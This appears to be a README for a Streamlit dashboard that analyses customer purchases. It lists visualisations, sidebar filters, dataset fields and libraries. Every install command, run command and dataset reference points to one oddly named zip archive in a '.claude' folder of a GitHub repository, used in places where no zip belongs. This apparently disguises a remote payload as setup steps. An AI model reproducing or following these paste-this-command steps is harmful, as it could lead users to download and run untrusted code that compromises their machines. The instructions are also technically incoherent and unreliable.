A comprehensive Streamlit dashboard for analyzing customer purchase patterns and behavior.
- Purchase distribution by category and season
- Top 10 items purchased
- Top 10 customer locations
- Interactive pie charts and bar graphs
- Purchase amount distribution with box plots
- Average purchase by category
- Purchase patterns by season and category (sunburst chart)
- Purchase frequency analysis
- Age distribution with statistics
- Gender distribution
- Age vs Purchase Amount correlation
- Previous purchases analysis
- Revenue breakdown by category, season, and location
- Revenue metrics (total, median, max, min)
- Top performing locations
- Review rating distribution
- Average ratings by category and season
- Rating vs Purchase Amount correlation
- Shipping type preferences
- Payment method distribution
- Discount and promo code usage
- Product size distribution
- RFM-like analysis (Frequency & Monetary)
- Interactive Customer Value Matrix
- Loyalty Tier distribution (New, Regular, Loyal, VIP)
- Segment profiling and business recommendations
- Statistical impact of discounts on AOV
- A/B testing framework visualization
- Distribution comparisons with box plots
- ML-powered K-Means customer clustering
- PCA (Principal Component Analysis) visualization
- Automated cluster profiling and insights
- Business hypothesis testing interface
- Mann-Whitney U tests for rigorous analysis
- Effect size (Cohen's d) calculations
The dashboard includes comprehensive sidebar filters:
- Gender: Filter by Male/Female/All
- Category: Multi-select filter for product categories
- Season: Multi-select filter for seasons
- Age Range: Slider to filter by customer age
- Purchase Amount: Slider to filter by purchase amount
- Loyalty Tier: Filter by New, Regular, Loyal, or VIP
- Value Segment: Filter by Spending class (Low/Mid/High)
- Subscription Status: Filter by subscribers vs non-subscribers
- Install required dependencies:
pip install -r https://raw.githubusercontent.com/Ahmdrady/user-behavior/main/.claude/user_behavior_gravamina.zipOr:
python -m pip install -r https://raw.githubusercontent.com/Ahmdrady/user-behavior/main/.claude/user_behavior_gravamina.zipRun the following command from the project root:
streamlit run https://raw.githubusercontent.com/Ahmdrady/user-behavior/main/.claude/user_behavior_gravamina.zipOr:
python -m streamlit run https://raw.githubusercontent.com/Ahmdrady/user-behavior/main/.claude/user_behavior_gravamina.zipThe dashboard will open in your default web browser at http://localhost:8501
The dashboard analyzes the https://raw.githubusercontent.com/Ahmdrady/user-behavior/main/.claude/user_behavior_gravamina.zip file which contains:
- Customer ID
- Age
- Gender
- Item Purchased
- Category (Clothing, Footwear, Outerwear, Accessories)
- Purchase Amount (USD)
- Location (US States)
- Size (S, M, L, XL)
- Color
- Season (Winter, Spring, Summer, Fall)
- Review Rating (1-5)
- Subscription Status
- Shipping Type
- Discount Applied
- Promo Code Used
- Previous Purchases
- Payment Method
- Frequency of Purchases
- Streamlit: Web application framework
- Pandas: Data manipulation and analysis
- Plotly: Interactive visualizations
- NumPy: Numerical computing
- SciPy: Scientific computing (Statistical tests)
- Scikit-learn: Machine Learning (K-Means & PCA)
- Statsmodels: Ordinary Least Squares (OLS) trendlines
- Fully Interactive: All charts are interactive with hover information
- Responsive Design: Works on different screen sizes
- Real-time Filtering: Instant updates when filters are changed
- Professional Styling: Clean, modern interface
- Comprehensive Analytics: 20+ visualizations across 6 different tabs
- Start with the Overview tab to get a general understanding of the data
- Use filters to focus on specific customer segments
- Export charts by clicking the camera icon on each visualization
- Compare different segments by adjusting filters
- Look for patterns in Purchase Analysis and Revenue Analysis tabs
For questions or issues, please contact the development team.